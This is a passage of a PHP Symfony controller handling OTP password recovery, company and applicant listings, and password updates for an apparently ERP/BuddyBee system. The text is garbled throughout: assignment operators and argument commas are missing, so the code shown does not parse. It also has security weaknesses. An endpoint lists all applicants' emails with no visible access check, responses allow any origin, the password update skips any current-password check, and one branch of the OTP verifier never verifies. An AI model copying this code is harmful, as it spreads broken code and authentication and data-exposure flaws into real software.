  9157.                 'ownServerId' => $ownServerId,
  9158. //                "otp"=>$otp,
  9159.                 "otpExpireTs" => $otpExpireTs,
  9160.                 'message' => $message,
  9161.                 'userType' => $userType,
  9162.                 'errorField' => $errorField,
  9163.             ];
  9164.         }
  9165.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9166.             $response = new JsonResponse(array(
  9167.                     'templateData' => $twigData,
  9168.                     'message' => $message,
  9169.                     "otp" => '',
  9170. //                "otp"=>$otp,
  9171.                     "otpExpireTs" => $otpExpireTs,
  9172.                     'actionData' => $email_twig_data,
  9173.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9174.                 )
  9175.             );
  9176.             $response->headers->set('Access-Control-Allow-Origin''*');
  9177.             return $response;
  9178.         } else {
  9179.             return $this->render(
  9180.                 $twig_file,
  9181.                 $twigData
  9182.             );
  9183.         }
  9184.     }
  9185.     public function VerifyOtpAction(Request $request$encData ''$remoteVerify 0)
  9186.     {
  9187. //        $userCategory=$request->request->has('userCategory');
  9188.         $encryptedData = [];
  9189.         $errorField '';
  9190.         $message '';
  9191.         $userType '';
  9192.         $otpExpireSecond 180;
  9193.         $otpExpireTs 0;
  9194.         if ($encData != '')
  9195.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  9196. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  9197.         $otp = isset($encryptedData['otp']) ? $encryptedData['otp'] : 0;
  9198.         $email = isset($encryptedData['email']) ? $encryptedData['email'] : 0;
  9199.         $otpExpireTs = isset($encryptedData['otpExpireTs']) ? $encryptedData['otpExpireTs'] : 0;
  9200.         $otpActionId = isset($encryptedData['otpActionId']) ? $encryptedData['otpActionId'] : 0;
  9201.         $userId = isset($encryptedData['userId']) ? $encryptedData['userId'] : 0;
  9202.         $userCategory = isset($encryptedData['otp']) ? $encryptedData['userCategory'] : '_BUDDYBEE_USER_';
  9203.         $em $this->getDoctrine()->getManager('company_group');
  9204.         $em_goc $this->getDoctrine()->getManager('company_group');
  9205.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  9206.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9207.         $twigData = [];
  9208.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  9209.         $email_twig_data = [];
  9210.         $userData = [];
  9211.         if ($request->isMethod('POST') || $otp != '') {
  9212.             $otp $request->request->get('otp'$otp);
  9213.             $otpActionId $request->request->get('otpActionId'$otpActionId);
  9214.             $userId $request->request->get('userId'$userId);
  9215.             $userCategory $request->request->get('userCategory'$userCategory);
  9216.             $email_address $request->request->get('email'$email);
  9217.             if ($systemType == '_ERP_') {
  9218.                 if ($userCategory == '_APPLICANT_') {
  9219.                     $userType UserConstants::USER_TYPE_APPLICANT;
  9220.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9221.                         array(
  9222.                             'email' => $email_address
  9223.                         )
  9224.                     );
  9225.                     if ($userObj) {
  9226.                     } else {
  9227.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9228.                             array(
  9229.                                 'oAuthEmail' => $email_address
  9230.                             )
  9231.                         );
  9232.                         if ($userObj) {
  9233.                         } else {
  9234.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9235.                                 array(
  9236.                                     'userName' => $email_address
  9237.                                 )
  9238.                             );
  9239.                         }
  9240.                     }
  9241.                     if ($userObj) {
  9242.                         $email_address $userObj->getEmail();
  9243.                         if ($email_address == null || $email_address == '')
  9244.                             $email_address $userObj->getOAuthEmail();
  9245.                     }
  9246. //                    triggerResetPassword:
  9247. //                    type: integer
  9248. //                          nullable: true
  9249.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  9250.                     $userObj->setOtp($otpData['otp']);
  9251.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  9252.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  9253.                     $em_goc->flush();
  9254.                     $userData = array(
  9255.                         'id' => $userObj->getApplicantId(),
  9256.                         'email' => $email_address,
  9257.                         'appId' => 0,
  9258. //                        'appId'=>$userObj->getUserAppId(),
  9259.                     );
  9260.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  9261.                     $email_twig_data = [
  9262.                         'page_title' => 'Find Account',
  9263.                         'encryptedData' => $encryptedData,
  9264.                         'message' => $message,
  9265.                         'userType' => $userType,
  9266.                         'errorField' => $errorField,
  9267.                         'otp' => $otpData['otp'],
  9268.                         'otpExpireSecond' => $otpExpireSecond,
  9269.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  9270.                         'otpExpireTs' => $otpData['expireTs'],
  9271.                         'systemType' => $systemType,
  9272.                         'userData' => $userData
  9273.                     ];
  9274.                     if ($userObj)
  9275.                         $email_twig_data['success'] = true;
  9276.                 } else {
  9277.                     $userType UserConstants::USER_TYPE_GENERAL;
  9278.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  9279.                     $email_twig_data = [
  9280.                         'page_title' => 'Find Account',
  9281.                         'encryptedData' => $encryptedData,
  9282.                         'message' => $message,
  9283.                         'userType' => $userType,
  9284.                         'errorField' => $errorField,
  9285.                     ];
  9286.                 }
  9287.             } else if ($systemType == '_BUDDYBEE_') {
  9288.                 $userType UserConstants::USER_TYPE_APPLICANT;
  9289.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9290.                     array(
  9291.                         'applicantId' => $userId
  9292.                     )
  9293.                 );
  9294.                 if ($userObj) {
  9295.                     $userOtp $userObj->getOtp();
  9296.                     $userOtpActionId $userObj->getOtpActionId();
  9297.                     $userOtpExpireTs $userObj->getOtpExpireTs();
  9298.                     $otpExpireTs $userObj->getOtpExpireTs();
  9299.                     $currentTime = new \DateTime();
  9300.                     $currentTimeTs $currentTime->format('U');
  9301.                     if ($userOtp != $otp) {
  9302.                         $message "Invalid OTP!";
  9303.                         $email_twig_data['success'] = false;
  9304.                     } else if ($userOtpActionId != $otpActionId) {
  9305.                         $message "Invalid OTP Action!";
  9306.                         $email_twig_data['success'] = false;
  9307.                     } else if ($currentTimeTs $userOtpExpireTs) {
  9308.                         $message "OTP Expired!";
  9309.                         $email_twig_data['success'] = false;
  9310.                     } else {
  9311.                         $userObj->setOtp(0);
  9312.                         $userObj->setOtpActionId(UserConstants::OTP_ACTION_NONE);
  9313.                         $userObj->setOtpExpireTs(0);
  9314.                         $userObj->setTriggerResetPassword(1);
  9315.                         $em_goc->flush();
  9316.                         $email_twig_data['success'] = true;
  9317.                         $message "";
  9318.                     }
  9319.                     $userData = array(
  9320.                         'id' => $userObj->getApplicantId(),
  9321.                         'email' => $email_address,
  9322.                         'appId' => 0,
  9323.                         'image' => $userObj->getImage(),
  9324.                         'firstName' => $userObj->getFirstname(),
  9325.                         'lastName' => $userObj->getLastname(),
  9326. //                        'appId'=>$userObj->getUserAppId(),
  9327.                     );
  9328.                     $email_twig_data['userData'] = $userData;
  9329.                 } else {
  9330.                     $message "Account not found!";
  9331.                     $email_twig_data['success'] = false;
  9332.                 }
  9333.             }
  9334.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9335.                 $response = new JsonResponse(array(
  9336.                         'templateData' => $twigData,
  9337.                         'message' => $message,
  9338.                         'actionData' => $email_twig_data,
  9339.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9340.                     )
  9341.                 );
  9342.                 $response->headers->set('Access-Control-Allow-Origin''*');
  9343.                 return $response;
  9344.             } else if ($email_twig_data['success'] == true) {
  9345.                 $encData = array(
  9346.                     "userType" => $userType,
  9347.                     "otp" => '',
  9348.                     "otpExpireTs" => $otpExpireTs,
  9349.                     "otpActionId" => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  9350.                     "userCategory" => $userCategory,
  9351.                     "userId" => $userData['id'],
  9352.                     "systemType" => $systemType,
  9353.                 );
  9354.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  9355.                 $url $this->generateUrl(
  9356.                     'reset_password_new_password'
  9357.                 );
  9358.                 return $this->redirect($url "/" $encDataStr);
  9359. //                return $this->redirectToRoute("reset_password_new_password", [
  9360. ////                'id' => $isApplicantExist->getApplicantId(),
  9361. ////                'oAuthData' => $oAuthData,
  9362. ////                'refRoute' => $refRoute,
  9363. //                ]);
  9364.             }
  9365.         }
  9366.         if ($systemType == '_ERP_') {
  9367.             if ($userCategory == '_APPLICANT_') {
  9368.                 $userType UserConstants::USER_TYPE_APPLICANT;
  9369.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9370.                 $twigData = [
  9371.                     'page_title' => 'Find Account',
  9372.                     'encryptedData' => $encryptedData,
  9373.                     'message' => $message,
  9374.                     'userType' => $userType,
  9375.                     'errorField' => $errorField,
  9376.                 ];
  9377.             } else {
  9378.                 $userType UserConstants::USER_TYPE_GENERAL;
  9379.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9380.                 $twigData = [
  9381.                     'page_title' => 'Find Account',
  9382.                     'encryptedData' => $encryptedData,
  9383.                     'message' => $message,
  9384.                     'userType' => $userType,
  9385.                     'errorField' => $errorField,
  9386.                 ];
  9387.             }
  9388.         } else if ($systemType == '_BUDDYBEE_') {
  9389.             $userType UserConstants::USER_TYPE_APPLICANT;
  9390.             $twig_file '@Authentication/pages/views/verify_otp_buddybee.html.twig';
  9391.             $twigData = [
  9392.                 'page_title' => 'Verify Otp',
  9393.                 'encryptedData' => $encryptedData,
  9394.                 'message' => $message,
  9395.                 'email' => $email,
  9396.                 "otp" => '',
  9397. //                "otp"=>$otp,
  9398.                 "otpExpireTs" => $otpExpireTs,
  9399.                 'userType' => $userType,
  9400.                 'userCategory' => $userCategory,
  9401.                 'errorField' => $errorField,
  9402.             ];
  9403.         }
  9404.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9405.             $response = new JsonResponse(array(
  9406.                     'templateData' => $twigData,
  9407.                     'message' => $message,
  9408.                     'actionData' => $email_twig_data,
  9409.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9410.                 )
  9411.             );
  9412.             $response->headers->set('Access-Control-Allow-Origin''*');
  9413.             return $response;
  9414.         } else {
  9415.             return $this->render(
  9416.                 $twig_file,
  9417.                 $twigData
  9418.             );
  9419.         }
  9420.     }
  9421. //    public function getCompanyByUser(Request $request){
  9422. //        $em = $this->getDoctrine()->getManager();
  9423. //        $em_goc = $this->getDoctrine()->getManager('company_group');
  9424. //        $session = $request->getSession();
  9425. //        $userId = $session->get(UserConstants::USER_ID);
  9426. //        $applicantDetails = $em->getRepository("ApplicationBundle\\Entity\\SysUser")->createQueryBuilder('U')
  9427. //            ->select('U.userAppIdList')
  9428. //            ->where('U.userId = :userId')
  9429. //            ->setParameter('userId', $userId)
  9430. //            ->getQuery()
  9431. //            ->getResult();
  9432. //
  9433. //        $compnayDetails = $em_goc->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")->createQueryBuilder('C')
  9434. //            ->select('C.name','C.appId')
  9435. //            ->getQuery()
  9436. //            ->getResult();
  9437. //
  9438. //        return new JsonResponse(
  9439. //            [
  9440. //                'applicantCompnayId' => $applicantDetails,
  9441. //                'copanyData' => $compnayDetails
  9442. //            ]
  9443. //        );
  9444.     public function getCompanyByUser(Request $request)
  9445.     {
  9446.         $em_goc $this->getDoctrine()->getManager('company_group');
  9447.         $em_goc->getConnection()->connect();
  9448.         $session $request->getSession();
  9449.         $appIds $session->get(UserConstants::USER_APP_ID_LIST);
  9450.         $userAppIdList json_decode($appIdstrue);
  9451.         if (!is_array($userAppIdList)) {
  9452.             return new JsonResponse([]);
  9453.         }
  9454.         $companyData $em_goc->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  9455.             ->createQueryBuilder('C')
  9456.             ->select('C.name, C.appId')
  9457.             ->where('C.appId IN (:appIds)')
  9458.             ->setParameter('appIds'$userAppIdList)
  9459.             ->getQuery()
  9460.             ->getResult();
  9461.         return new JsonResponse($companyData);
  9462.     }
  9463.     public function applicantList(Request $request)
  9464.     {
  9465.         $em_goc $this->getDoctrine()->getManager('company_group');
  9466.         $em_goc->getConnection()->connect();
  9467.         $applicantList $em_goc->getRepository("CompanyGroupBundle\\Entity\\EntityApplicantDetails")
  9468.             ->createQueryBuilder('C')
  9469.             ->select('C.applicantId, C.firstname, C.lastname,C.email')
  9470.             ->getQuery()
  9471.             ->getResult();
  9472.         return new JsonResponse($applicantList);
  9473.     }
  9474.     public function getUserType()
  9475.     {
  9476.         $userType HumanResourceConstant::$userTypeForApp;
  9477.         return new JsonResponse($userType);
  9478.     }
  9479.     private function appendCentralCustomerAccessList(array $accessListint $applicantId): array
  9480.     {
  9481.         if ($applicantId <= || !$this->container->has('app.organization_identity_service')) {
  9482.             return $accessList;
  9483.         }
  9484.         try {
  9485.             $customerAccessList $this->get('app.organization_identity_service')
  9486.                 ->buildCustomerAccessListForApplicant($applicantId$this->get('url_encryptor'));
  9487.         } catch (\Throwable $e) {
  9488.             return $accessList;
  9489.         }
  9490.         if (empty($customerAccessList)) {
  9491.             return $accessList;
  9492.         }
  9493.         $detailedClientApps = [];
  9494.         foreach ($customerAccessList as $item) {
  9495.             if (isset($item['appId'])) {
  9496.                 $detailedClientApps[(int)$item['appId']] = true;
  9497.             }
  9498.         }
  9499.         $filtered = [];
  9500.         foreach ($accessList as $item) {
  9501.             $isGenericClient = (int)($item['userType'] ?? 0) === UserConstants::USER_TYPE_CLIENT
  9502.                 && empty($item['erpClientId'])
  9503.                 && isset($detailedClientApps[(int)($item['appId'] ?? 0)]);
  9504.             if (!$isGenericClient) {
  9505.                 $filtered[] = $item;
  9506.             }
  9507.         }
  9508.         return array_merge($filtered$customerAccessList);
  9509.     }
  9510.     public function updatepasswordAction(Request $request)
  9511.     {
  9512.         $em_goc $this->getDoctrine()->getManager('company_group');
  9513.         $session $request->getSession();
  9514.         $userId $session->get(UserConstants::USER_ID);
  9515.         if ($request->isMethod('POST')) {
  9516.             $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->find($userId);
  9517.             $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($request->request->get('password'), $user->getSalt());
  9518.             $user->setPassword($encodedPassword);
  9519.             $em_goc->persist($user);
  9520.             $em_goc->flush();
  9521.             return new JsonResponse(['status' => 'success''message' => 'Password updated successfully.']);
  9522.         }
  9523.     }
  9524. }